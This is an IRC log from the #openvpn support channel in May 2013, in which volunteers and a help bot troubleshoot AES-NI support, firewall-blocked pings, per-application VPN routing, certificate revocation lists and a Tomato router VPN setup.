21:44 < El_Presidente> Is there a way to use aes-ni with Windows?
21:52 <@krzee> if you can compile openssl in windows to use it
21:56 < El_Presidente> Yes i thought you would say something like that
21:58 -!- phunyguy [~quassel@unaffiliated/phunyguy] has quit [Ping timeout: 264 seconds]
21:58 < El_Presidente> Since you are an op here are there plans todo that for The Standard build?
22:04 < pekster> Not likely since it varies based on your hardware
22:04 < pekster> For instance, Intel's IPP requires a patch to the sources to play nice under Windows. I'm not too sure about other implementations
22:07 < El_Presidente> Sounds complicated
22:07 < pekster> Building for Windows often is
22:08 -!- phunyguy [~quassel@h69-131-21-126.stmyga.broadband.dynamic.tds.net] has joined #openvpn
22:08 -!- phunyguy [~quassel@h69-131-21-126.stmyga.broadband.dynamic.tds.net] has quit [Changing host]
22:08 -!- phunyguy [~quassel@unaffiliated/phunyguy] has joined #openvpn
22:10 < El_Presidente> Well thank you
22:13 -!- El_Presidente [~AndChat43@p5DD73027.dip0.t-ipconnect.de] has quit [Quit: Bye]
22:20 < hjohnson> on my alix, I have the openssl libraries using the aes128 engine in the geode
22:21 < hjohnson> I don't now that it actually reduces CPU load much though :P
22:22 < pekster> See openvpn's --engine option if openssl is aware of it
22:22 < hjohnson> well, I know that it's using the geode's engine, I just don't know if that actually saves anything... the interrupt load is pretty high doing that.
22:43 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Quit: leaving]
23:51 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
23:52 < dimm0k> getting closer!  so i can get the client to connect to the openvpn server, see the server's LAN and can ping the server via the tun0 interface
23:53 < dimm0k> however from the server, i can't ping the client via the tun0 interface...  any suggestions?
23:56 < pekster> firewall
23:57 < dimm0k> pekster: iptables is set to ACCEPT for OUTPUT chain
23:57 < pekster> if the client can ping the server  but not the other way around, clearly routing works. Fix your firewall.
23:58 < dimm0k> so this is a firewall issue on the client?
23:59 < pekster> Could be either end
23:59 < pekster> A firewall "somewhere"
--- Day changed Fri May 03 2013
00:00 < pekster> (between the tun devices on a connection you've confirmed works would limit it to just those 2
00:01 < dimm0k> hrmm
00:02 -!- jasonsmr [~Administr@c-71-238-115-150.hsd1.mi.comcast.net] has joined #openvpn
00:03 < jasonsmr> hello openvpn channel
00:03 < jasonsmr> anyone on?
00:03 < Aketzu_> might be
00:14 < jasonsmr> question, how can I run openvpn vpn and my standard public ip addr?
00:15 < jasonsmr> Im having network freezing issues
00:17 < jasonsmr> meaning that : I have a open active ssh connection to my server then when I run the configuration its severed in favor of the openvpn iparrd
00:18 < julianoliver> probably routing issue
00:21 < dimm0k> could it be possible that because windows 7 is treating the openvpn connection as a public network that that's why it can't be ping'd via the tun0?
00:24 -!- jasonsmr [~Administr@c-71-238-115-150.hsd1.mi.comcast.net] has quit [Quit: Lost terminal]
00:27 < dimm0k> bingo, disabled the public firewall and ping works...  now to figure out how to change the openvpn connection to a home connection, rather than public
00:28 -!- timmmaaaayyy [~timmmaaaa@cpe-68-175-79-100.nyc.res.rr.com] has quit [Ping timeout: 272 seconds]
00:45 -!- levifig [~levifig@spwn.co] has quit [Excess Flood]
00:49 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
00:50 -!- levifig [~levifig@spwn.co] has joined #openvpn
00:57 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:05 -!- vraa__ [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
01:06 -!- vraa__ [~speed_rac@173.45.218.54] has joined #openvpn
01:24 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 245 seconds]
01:27 -!- TheRealSjr [~sjr@216.239.45.73] has quit [Ping timeout: 240 seconds]
01:39 -!- smerz_ [~smerz@a170224.upc-a.chello.nl] has quit [Ping timeout: 272 seconds]
02:03 -!- SteWa [~j5m1th@78.129.180.118] has quit [Ping timeout: 268 seconds]
02:19 -!- SteWa [~j5m1th@2.186.58.62] has joined #openvpn
02:22 -!- vraa__ [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
02:22 -!- vraa__ [~speed_rac@173.45.218.54] has joined #openvpn
02:27 -!- i7c [~i7c@212.47.190.111] has quit [Changing host]
02:27 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
02:30 -!- i7c is now known as i7c^
02:35 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
02:43 <@plaisthos> julianoliver: works
02:48 <@plaisthos> majuscule: Android does support some types of VPN but not OpenVPN
03:00 -!- tjz [~tjz@unaffiliated/tjz] has quit [Read error: Connection reset by peer]
03:01 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
03:03 -!- Devastator [~devas@177.99.152.148] has quit [Ping timeout: 256 seconds]
03:03 -!- Devastator- [~devas@177.99.152.148] has joined #openvpn
03:07 -!- DrCode_ [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
03:09 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
03:09 -!- DrCode_ is now known as DrCode
03:17 -!- brute11k [~brute@89.249.231.82] has quit [Read error: Connection reset by peer]
03:20 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
03:22 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 264 seconds]
03:25 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
03:25 -!- mode/#openvpn [+o krzee] by ChanServ
03:57 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
03:57 -!- kubbing__ [~kubbing@ip-89-177-147-98.net.upcbroadband.cz] has joined #openvpn
03:57 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 245 seconds]
04:01 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 252 seconds]
04:10 -!- Netsplit over, joins: kisom
04:10 -!- Netsplit *.net <-> *.split quits: BenLue, levifig, mitz_
04:11 -!- BenLue [~BenLue@178-83-36-152.dynamic.hispeed.ch] has joined #openvpn
04:11 -!- Netsplit over, joins: levifig
04:11 -!- dazo_afk is now known as dazo
04:12 -!- Netsplit over, joins: mitz_
04:15 -!- SviMik|away [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn
04:16 < SviMik|away> !seen Krzee
04:16 <@vpnHelper> Krzee was last seen in #openvpn 6 hours, 23 minutes, and 31 seconds ago: <krzee> if you can compile openssl in windows to use it
04:16 -!- SviMik|away is now known as SviMik
04:17 -!- druid [~druid@drink.cypr.in] has joined #openvpn
04:17 < druid> Hello
04:19 < druid> I'm running an openvpn client on an archlinux and everything goes out through the tunnel once it's connected which is unsatisfying for me as i only want to use the vpn to surf with chromium (and not firefox, which must run
04:20 < druid> normally without the vpn connection). I have looked at the documentation and i don't understand how to do that... Can someone help me?
04:21 < druid> I basically want to do the equivalancy of a ssh -D, using openvpn. I'm really intersted in an explanation or a complete tutorial that i havn't found util no... Thanks in advance
04:22 -!- druid [~druid@drink.cypr.in] has quit [Changing host]
04:22 -!- druid [~druid@unaffiliated/druid] has joined #openvpn
04:24 -!- vraa__ [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
04:24 -!- vraa__ [~speed_rac@173.45.218.54] has joined #openvpn
04:35 -!- vraa__ [~speed_rac@173.45.218.54] has quit [Quit: Leaving]
04:43 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
04:54 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 276 seconds]
04:57 < kisom> druid: You can't do that.
04:57 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
04:59 < druid> it's doable on windows, though!
04:59 < kisom> No, it's not.
04:59 < druid> yes it is. i do it on windows with openvpn + privoxy which allows me to select every executable i want.
05:00 < kisom> privoxy uses socks, which has nothing to do with OpenVPN.
05:00 < druid> if i do not add firefox.exe to privoxy it'll go out without using openvpn, if i set it in privoxy it'll use the vpn. And that's what i want to do on linux
05:02 < kisom> As I said, privoxy does not speak the OpenVPN protocol
05:02 < kisom> You're probably just using socks over the VPN connection or similar.
05:04 < kisom> It might be possible to redirect certain PIDs in iptables, but that's too much black vodoo for me.
05:04 < druid> mmm
05:04 < druid> i'll end up running a virtual machine i guess
05:05 < kisom> ...or just stick to your socks-over-SSH solution
05:05 < kisom> You don't even need privoxy, just change the proxy settings within chrome/firefox.
05:05 < druid> ssh works but ssh -D is filtered, they must do DPI
05:06 < kisom> SSH is fully encrypted beond the handshake
05:06 < kisom> They don't know you're doing -D
05:07 < druid> One of my collegues and i used ssh -D until now on different external servers. We've been moved to a new LAN yesterday and since then we cannot ssh -D anymore. DPI can found http packets in ssh
05:07 < druid> ssh tunnel opens but the proxy mode is innoperant
05:07 < kisom> No, it cannot :)
05:08 < kisom> It might suspect that too much traffic is flowing over SSH, but that's it.
05:08 < druid> proff is they can or we'd be able to got out using it as we used to.
05:08 < druid> *proof
05:08 < kisom> That's not proof for anything.
05:09 < druid> Ok, so what could be the explanation?
05:09 < kisom> Bad network configuration, you're doing something wrong, your software contains some bug, etc etc
05:09 < druid> My colleague has validated it's working when he connects throu in mobilephne as a modem.
05:10 < kisom> OK
05:10 < kisom> Anyways, I need to bail.
05:10 < kisom>  &afk
05:10 < druid> thanks for your help anyways kisom
05:26 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 255 seconds]
05:32 -!- raidz_away [~raidz@46.28.203.186] has joined #openvpn
05:33 -!- raidz_away is now known as raidz
05:33 -!- raidz [~raidz@46.28.203.186] has quit [Changing host]
05:33 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
05:33 -!- mode/#openvpn [+o raidz] by ChanServ
05:41 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Ping timeout: 612 seconds]
05:44 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
05:44 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
05:51 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
05:53 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Read error: error:1408F119:SSL routines:SSL3_GET_RECORD:decryption failed or bad record mac]
05:53 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
05:54 -!- jtrucks_ [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
05:55 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
05:58 -!- brute11k [~brute@89.249.231.82] has joined #openvpn
06:01 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
06:02 -!- jtrucks_ [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Remote host closed the connection]
06:03 -!- jtrucks__ [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
06:03 -!- jtrucks_ [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
06:03 -!- jtrucks_1 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
06:08 -!- SteWa [~j5m1th@2.186.58.62] has quit [Ping timeout: 245 seconds]
06:17 -!- jtrucks_1 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Read error: error:1408F119:SSL routines:SSL3_GET_RECORD:decryption failed or bad record mac]
06:17 -!- jtrucks_1 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
06:17 -!- jtrucks_2 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
06:17 -!- jtrucks_3 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
06:20 -!- SteWa [~j5m1th@78.129.180.118] has joined #openvpn
06:25 -!- jtrucks_1 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Remote host closed the connection]
06:26 -!- jtrucks_1 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
06:26 -!- jtrucks_4 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
06:26 -!- jtrucks_5 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
06:30 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 246 seconds]
06:31 -!- jtrucks_5 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Remote host closed the connection]
06:31 -!- 66MAAB6VA [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
06:31 -!- 13WAA2J39 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
06:32 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
06:34 -!- mitz_ [~mitz@219.143.36.82] has quit [Ping timeout: 276 seconds]
06:36 -!- 13WAA2J39 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Read error: error:1408F119:SSL routines:SSL3_GET_RECORD:decryption failed or bad record mac]
06:36 -!- jtrucks_5 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
06:36 -!- 18WADE70K [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
06:38 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
06:41 -!- jtrucks_5 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Read error: error:1408F119:SSL routines:SSL3_GET_RECORD:decryption failed or bad record mac]
06:41 -!- jtrucks_5 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
06:42 -!- jtrucks_7 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
06:42 -!- jtrucks_6 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
06:46 -!- jtrucks_8 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
06:47 -!- fvalente [~fvalente@ts.node.pt] has joined #openvpn
06:48 < fvalente> Hello, how can I check wich users have access through openvpn ? I revoked some access's but their keys are still present
06:50 -!- jtrucks_7 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Remote host closed the connection]
06:50 -!- jtrucks_7 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
06:50 -!- jtrucks_9 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
06:53 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Quit: leaving]
06:53 -!- ade_b [Ade@nat/redhat/x-kmoxumhnsrttnpnb] has joined #openvpn
06:53 -!- ade_b [Ade@nat/redhat/x-kmoxumhnsrttnpnb] has quit [Changing host]
06:53 -!- ade_b [Ade@redhat/adeb] has joined #openvpn
06:56 -!- jtrucks10 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
06:56 -!- jtrucks_9 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Read error: error:1408F119:SSL routines:SSL3_GET_RECORD:decryption failed or bad record mac]
06:57 -!- jtrucks_9 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
06:58 -!- jtrucks12 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
06:58 -!- jtrucks11 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
07:02 -!- ade_b [Ade@redhat/adeb] has quit [Ping timeout: 264 seconds]
07:07 -!- jtrucks11 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Remote host closed the connection]
07:07 -!- jtrucks_9 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Disconnected by services]
07:07 -!- jtrucks_4 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Disconnected by services]
07:07 -!- jtrucks_6 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Disconnected by services]
07:07 -!- jtrucks_8 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Disconnected by services]
07:08 -!- jtrucks_7 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Disconnected by services]
07:08 -!- jtrucks12 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Disconnected by services]
07:08 -!- jtrucks_ [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Disconnected by services]
07:08 -!- jtrucks_2 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Disconnected by services]
07:08 -!- jtrucks_3 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Disconnected by services]
07:09 -!- jtrucks_1 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Disconnected by services]
07:09 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has joined #openvpn
07:09 -!- jtrucks__ [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Disconnected by services]
07:09 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Disconnected by services]
07:10 -!- jtrucks10 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Disconnected by services]
07:10 -!- 66MAAB6VA [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Disconnected by services]
07:11 -!- jtrucks_5 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Disconnected by services]
07:11 -!- 18WADE70K [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Disconnected by services]
07:31 -!- dazo is now known as dazo_afk
07:32 -!- newbie|2 [~tjz@bb119-74-161-116.singnet.com.sg] has joined #openvpn
07:35 -!- mitz [~mitz@public-nat-d.vpngate.net] has joined #openvpn
07:35 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 252 seconds]
07:38 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 246 seconds]
08:14 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 256 seconds]
08:16 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
08:17 <@ecrist> so many join/part messages today
08:30 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has joined #openvpn
08:33 -!- mitz [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 260 seconds]
08:39 -!- djjunde_ [~djjunde@dsl-espbrasgw1-54f9cf-178.dhcp.inet.fi] has joined #openvpn
08:39 -!- djjunde [~djjunde@dsl-espbrasgw1-54f9cf-178.dhcp.inet.fi] has quit [Ping timeout: 264 seconds]
08:44 -!- spavis [~spavis@24-107-225-154.dhcp.oxfr.ma.charter.com] has quit [Ping timeout: 276 seconds]
08:45 -!- newbie|2 [~tjz@bb119-74-161-116.singnet.com.sg] has quit [Quit: quit irc]
08:45 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
08:45 -!- tjz [~tjz@unaffiliated/tjz] has quit [Client Quit]
08:51 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
08:52 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 264 seconds]
08:54 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:00 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
09:01 -!- phunyguy [~quassel@unaffiliated/phunyguy] has quit [Read error: No route to host]
09:02 -!- phunyguy [~quassel@unaffiliated/phunyguy] has joined #openvpn
09:09 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
09:11 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Client Quit]
09:26 -!- DarylXian [C2KAd3idSE@bolt.sonic.net] has joined #openvpn
09:27 -!- ade_b [Ade@nat/redhat/x-vtphavsxiorczlhi] has joined #openvpn
09:27 -!- ade_b [Ade@nat/redhat/x-vtphavsxiorczlhi] has quit [Changing host]
09:27 -!- ade_b [Ade@redhat/adeb] has joined #openvpn
09:30 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 245 seconds]
09:35 -!- ade_b [Ade@redhat/adeb] has quit [Read error: Operation timed out]
09:46 -!- djjunde_ is now known as djjunde
09:48 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn
09:48 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host]
09:48 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn
09:52 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:00 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
10:02 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
10:02 -!- mode/#openvpn [+o krzee] by ChanServ
10:02 -!- DarylXian [C2KAd3idSE@bolt.sonic.net] has quit [Quit: DarylXian]
10:09 -!- apocn [~apo@unaffiliated/apocn] has joined #openvpn
10:10 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving]
10:18 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
10:20 -!- mattock is now known as mattock_afk
10:21 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Client Quit]
10:23 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 246 seconds]
10:26 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
10:30 -!- JackWinter [~jack@vodsl-9778.vo.lu] has left #openvpn ["Konversation terminated!"]
10:37 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
10:40 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
10:42 -!- TheRealSjr [~sjr@216.239.45.73] has joined #openvpn
10:43 -!- awc737_away is now known as awc737
10:46 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
10:50 -!- SteWa [~j5m1th@78.129.180.118] has quit [Ping timeout: 245 seconds]
10:53 -!- tharkun [~0@unaffiliated/tharkun] has left #openvpn []
11:03 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
11:04 -!- SteWa [~j5m1th@78.129.180.118] has joined #openvpn
11:57 -!- JackWinter [~jack@vodsl-9778.vo.lu] has joined #openvpn
12:04 -!- apocn [~apo@unaffiliated/apocn] has left #openvpn ["Leaving"]
12:07 -!- NTG911 [~NTG911@75.151.1.137] has joined #openvpn
12:07 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
12:12 < NTG911> !welcome
12:12 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
12:12 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
12:13 < NTG911> !goal Having softvpn RDP over to hardwarevpn
12:13 < pekster> fvalente: So much part/join I missed your question my first read-through. See this:
12:13 < pekster> !revoke
12:14 < pekster> Hmm, I guess this one then:
12:14 < pekster> !crl
12:14 <@vpnHelper> "crl" is (#1) --crl-verify <crl> A CRL (certificate revocation list) is used when a particular key is compromised but when the overall PKI is still intact. The only time when it would be necessary to rebuild the entire PKI from scratch would be if the root certificate key itself was compromised. or (#2) you can make use of CRL by using the revoke-full script in easy-rsa (packaged with openvpn) that
12:14 <@vpnHelper> will create the CRL file for you. ssl-admin will also build a crl for you or (#3) openssl ca -config openssl-1.0.0.cnf -gencrl -out keys/crl.pem
12:15 < NTG911> I'm at a loss. I had this workign with two hardware vpns runnign tomato
12:18 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:40 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Remote host closed the connection]
12:44 < pekster> NTG911: I've no clue what you mean by "hardware VPN" since openvpn is a piece of software. Maybe you'd like to start with the howto?
12:44 < pekster> !howto
12:44 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
12:55 < NTG911> pekster> I have tried that.
12:55 < NTG911> I'm using open vpn on a win 7 computer to connected to a Tomato VPN that's connected to a server
12:58 < NTG911> open vpn software states that it's conneted to the Tomato VPN router and open VPN states having an address. but when trying to RDP or ping, or use any network resource for the server nothing is working
13:03 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
13:20 < pekster> So you have LANs behind both VPN clients you want bi-directional communication for?
13:21 < pekster> If that's what you want, see the bot output for !serverlan and !clientlan and pick one at a time to get working. Each comes with helpful flowcharts
13:22 < NTG911> it's on the same lan for testing. thus should act just like if both are on a wan with out the LANs
13:22 < NTG911> !serverlan
13:22 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
13:22 < NTG911> it's been done
13:23 < NTG911> !clientlan
13:23 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for
13:23 <@vpnHelper> a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
13:23 < NTG911> so both have already been done
13:23 < pekster> You should very carefully look over the flowchart. I really don't think you're able to have done that in the 12 seconds it took you to reply
13:23 < pekster> Well, if both have been done it works
13:23 < pekster> And you wouldn't be here. Try again.
13:24 < NTG911> i already thought of that. and tried that. but brb
13:24 < pekster> You tried everything on the flowchart? In under a minute? Lying to me won't help. In fact, I'll stop caring completely.
13:25 < NTG911> i've been trying this for two days.
13:25 < NTG911> one sec while i check the client side
13:26 < NTG911> the server is pushing the 192.168.4.6 to the client.
13:26 -!- kirin` [telex@gateway/shell/anapnea.net/x-bfqsxmscalvuixxg] has quit [Ping timeout: 256 seconds]
13:27 < NTG911> the virt address is also listed on the server side
13:27 -!- kubbing__ [~kubbing@ip-89-177-147-98.net.upcbroadband.cz] has quit [Ping timeout: 256 seconds]
13:27 < NTG911> runign thru the client flowchart again one sec.
13:27 < NTG911> Don't mean to be short jsut been at this for two days now
13:27 -!- kirin` [telex@gateway/shell/anapnea.net/x-jyblufpwpkupeqrp] has joined #openvpn
13:28 < NTG911> hey pekster the client flow chart isn't coming up.
13:29 < pekster> Quite right, looks like an issue with the site it's hosted on
13:29 < NTG911> it's ok
13:29 < NTG911> could it be something in the client config file?
13:30 < pekster> It could be a lot of things, including wrong or missing config elements, firewalls, or a failure of the OS to add the routes for a variety of reasons
13:30 < NTG911> there are no firewalls at the moment. turned all that off
13:30 < NTG911> i'm using win7 i'm hoping ti would add the routes
13:31 < pekster> As your VPN client? And that's serving your LAN?
13:32 < pekster> Slow down a moment and describe your situation better? Right now you've plowed forwrad without properly explaining the desired result
13:33 -!- kirin` [telex@gateway/shell/anapnea.net/x-jyblufpwpkupeqrp] has quit [Ping timeout: 256 seconds]
13:33 < NTG911> ok
13:33 < NTG911> this is for testing for the comp.
13:33 < NTG911> I have Asus router, that has tomato on it. I have made the certs using the open vpn
13:33 < NTG911> when i have two tomato routers there is not an issue
13:33 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:34 < NTG911> this is by TUN not tap
13:34 -!- kirin` [telex@gateway/shell/anapnea.net/x-bcgafgnqxlaaiose] has joined #openvpn
13:34 < NTG911> now I'm trying to use open vpn, to connect to the Tomato VPN
13:34 < NTG911> end result by doing this is to be ablet o run RDP and access server
13:35 < pekster> The protocol you're using doesn' matter. Where it's running and where the client is located in your topology does
13:35 < NTG911> i've used the site http://www.serverwatch.com/tutorials/article.php/10825_3924556_2/Setting-Up-a-VPN-Server-on-a-Tomato-Router-Part-2.htm in order to set up the openVPN client
13:35 <@vpnHelper> Title: Setting Up a VPN Server on a Tomato Router, Part 2 Page 2 (at www.serverwatch.com)
13:35 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
13:35 < pekster> We don't support arbitrary tutorials since most of them tend to be very wrong
13:36 < NTG911> yes. I noticed. but I also used the OpenVPN sites with no avail
13:36 < NTG911> that's why i'm thiking maybe it's somethign missing in the config file on the client.
13:36 < NTG911> the nettop of this shouldn't be an issues.
13:36 < pekster> So, you have a VPN server running on some router OS, and a client? What are you trying to connect where?
13:37 < NTG911> I'm tryign to connect computer to server
13:37 < pekster> What computer? What server?
13:37 < pekster> The only "server" you've told me about is the embedded router. You're running an RDP server on that? I really doubt it
13:37 < NTG911> So like win7 pro computer ->OpenVPN soft -> Tomato Router -> Server
13:37 < NTG911> Server is a win srv 2k8 r2
13:37 < pekster> soft? OpenVPN is OpenVPN. There is no "hardware" openvpn
13:38 < NTG911> ok
13:38 < NTG911> openvpn to tomato router
13:38 < pekster> Pastebin your config files from both sides, preferably with comments/whitespace removed (handy grep syntax can be found below:)
13:38 < pekster> !configs
